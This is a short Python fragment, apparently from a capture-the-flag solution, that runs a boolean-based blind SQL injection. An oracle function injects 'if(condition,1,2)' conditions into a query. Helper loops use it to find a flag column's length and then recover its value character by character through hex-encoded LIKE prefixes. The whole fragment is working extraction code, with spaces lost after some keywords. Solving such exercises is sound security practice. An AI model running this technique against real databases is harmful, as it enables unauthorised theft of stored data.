deforacle(session, condition): # score=1 is the row identified by TRUE_MARKER; score=2 is the false row. expression = f"1 and if({condition},1,2)" return TRUE_MARKER in query(session, expression)
defdiscover_length(session): for length inrange(1, MAX_LENGTH + 1): if oracle(session, f"length({COLUMN})={length}"): return length raise RuntimeError("flag length was not found")
defrecover_flag(session, length): flag = "" for position inrange(1, length + 1): for character in CHARACTERS: candidate = flag + character hex_prefix = candidate.encode("ascii").hex() condition = f"left({COLUMN},{position}) like 0x{hex_prefix}" if oracle(session, condition): flag = candidate print(flag) break else: raise RuntimeError(f"no character matched at position {position}") return flag